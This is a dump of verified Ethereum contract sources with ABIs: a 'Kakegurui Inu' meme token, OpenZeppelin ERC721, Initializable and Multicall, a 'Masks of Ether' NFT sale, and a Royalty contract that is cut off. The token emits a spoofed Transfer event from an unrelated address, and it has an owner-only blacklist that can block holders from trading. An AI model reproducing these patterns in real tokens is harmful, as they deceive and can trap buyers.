contract KakeguruiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Kakegurui Inu";
string private constant _symbol = "KKGINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3dc1C5430719E85Eb75102E618ba85c2d0de98a4);
_feeAddrWallet2 = payable(0xDcc97d5b3c03383B203D7A4e03a20ceDdA45DD93);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 3;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | false | 200 | Default | Unlicense | false | ipfs://20810d90fafe9af589c63f0601ca97e8aa3de5d9d1be87f579900cd52045b691 |
|||
Migrations | ERC721.sol | 0x0ce8e92b52521845e79160101b26c22452e97cc4 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
} | [{"inputs":[],"name":"last_completed_migration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"completed","type":"uint256"}],"name":"setCompleted","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | Default | MIT | false | ipfs://d078b8ce3c27af5ae33afcfb94148324a530c04baf33abd131f530c18144ebda |
|||
Migrations | MasksOfEther.sol | 0x0ce8e92b52521845e79160101b26c22452e97cc4 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
contract MasksOfEther is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
uint256 private price = 0.08 ether;
uint256 private maxBulkAmount = 30;
string public MASKS_PROVENANCE = "";
uint256 public startingIndex;
uint256 public maxMasks = 10000;
uint256 private _reserved = 100;
string public baseURI;
bool private _saleStarted;
constructor() ERC721("Masks of Ether", "MASK") public {
_saleStarted = false;
}
function createMask(uint256 _nbTokens) external payable {
uint256 supply = totalSupply();
require(_saleStarted, "The Sale is not active");
require(_nbTokens <= maxBulkAmount, "You cannot mint more than 30 tokens at once!");
require(supply + _nbTokens <= (maxMasks - _reserved), "Not enough Tokens available");
require(_nbTokens * price <= msg.value, "You sent the incorrect amount of tokens");
for (uint256 i; i < _nbTokens; i++) {
_safeMint(msg.sender, supply + i);
}
}
function claimReserved(uint256 _number, address _receiver) external onlyOwner {
require(_number <= _reserved, "You cannot claim more than the max reserved.");
uint256 _tokenId = totalSupply();
for (uint256 i; i < _number; i++) {
_safeMint(_receiver, _tokenId + i);
}
_reserved = _reserved - _number;
}
function flipSaleStarted() external onlyOwner {
_saleStarted = !_saleStarted;
if (_saleStarted && startingIndex == 0) {
setStartingIndex();
}
}
function saleStarted() public view returns(bool) {
return _saleStarted;
}
function getPrice() public view returns (uint256){
return price;
}
function getReservedLeft() public view returns (uint256) {
return _reserved;
}
// set this before sale
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
MASKS_PROVENANCE = provenanceHash;
}
function walletOfUser(address _user) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_user);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_user, i);
}
return tokensId;
}
function setmaxMasks(uint256 _total) public onlyOwner {
maxMasks = _total;
}
function setPrice(uint256 _price) public onlyOwner {
price = _price;
}
//must be called before sale start
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
// BlockHash only works for the most 256 recent blocks.
uint256 _block_shift = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp)));
_block_shift = 1 + (_block_shift % 255);
// This shouldn't happen, but just in case the blockchain gets a reboot?
if (block.number < _block_shift) {
_block_shift = 1;
}
uint256 _block_ref = block.number - _block_shift;
startingIndex = uint(blockhash(_block_ref)) % maxMasks;
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex + 1;
}
}
function setBaseURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function _baseURI() internal view override(ERC721) returns(string memory) {
return baseURI;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
} | [{"inputs":[],"name":"last_completed_migration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"completed","type":"uint256"}],"name":"setCompleted","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | Default | MIT | false | ipfs://d078b8ce3c27af5ae33afcfb94148324a530c04baf33abd131f530c18144ebda |
|||
ProtocolControl | @openzeppelin/contracts/proxy/utils/Initializable.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
} | 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payable","name":"_treasury","type":"address"}],"name":"setRoyaltyTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_moduleId","type":"bytes32"},{"internalType":"address","name":"_newModuleAddress","type":"address"}],"name":"updateModule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"currency","type":"address"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
ProtocolControl | @openzeppelin/contracts/utils/Multicall.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol)
pragma solidity ^0.8.0;
import "./Address.sol";
/**
* @dev Provides a function to batch together multiple calls in a single external call.
*
* _Available since v4.1._
*/
abstract contract Multicall {
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = Address.functionDelegateCall(address(this), data[i]);
}
return results;
}
} | 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v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
ProtocolControl | contracts/Royalty.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
// Base
import "./openzeppelin-presets/finance/PaymentSplitter.sol";
// Meta transactions
import "@openzeppelin/contracts/metatx/ERC2771Context.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import { Registry } from "./Registry.sol";
import { ProtocolControl } from "./ProtocolControl.sol";
/**
* Royalty automatically adds protocol provider (the registry) of protocol control to the payees
* and shares that represent the fees.
*/
contract Royalty is PaymentSplitter, AccessControlEnumerable, ERC2771Context, Multicall {
/// @dev The protocol control center.
ProtocolControl private controlCenter;
/// @dev Contract level metadata.
string private _contractURI;
modifier onlyModuleAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "only module admin role");
_;
}
/// @dev shares_ are scaled by 10,000 to prevent precision loss when including fees
constructor(
